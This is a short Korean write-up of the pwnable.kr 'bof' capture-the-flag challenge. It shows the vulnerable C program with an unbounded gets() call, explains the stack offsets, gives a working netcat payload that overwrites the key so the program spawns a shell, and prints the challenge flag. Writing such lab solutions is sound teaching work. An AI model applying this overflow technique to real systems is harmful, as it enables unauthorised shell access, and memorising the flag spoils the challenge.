bof
keyword : Stack Canary
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
main에서 key값으로 0 xdeadbeef값을 인자로 전달한다.
32byte크기의 overflow(me배열이 선언되었데, gets함수로 인해 입력 크기를 제한하지 않고 입력 받게 된다.
key값을 0xcafebabe로 조작하면 쉘이 떨어지게 된다.
func함수에서 입력받는 overflowme배열의 시작주소는 ebp-0x2c이고 "0xcafebabe"가 들어있는 주소는 ebp+0x8이다.
따라서 BoF를 시켜 ebp+0x8주소에 "0xcafebabe"를 넣으면 실행이 실행된다.
payload : (python -c 'print "A"*52+"\xbe\xba\xfe\xca"';cat)|nc pwnable.kr 9000
✌️FLAG : daddy, I just pwned a buFFer :)
잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :) 태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍 |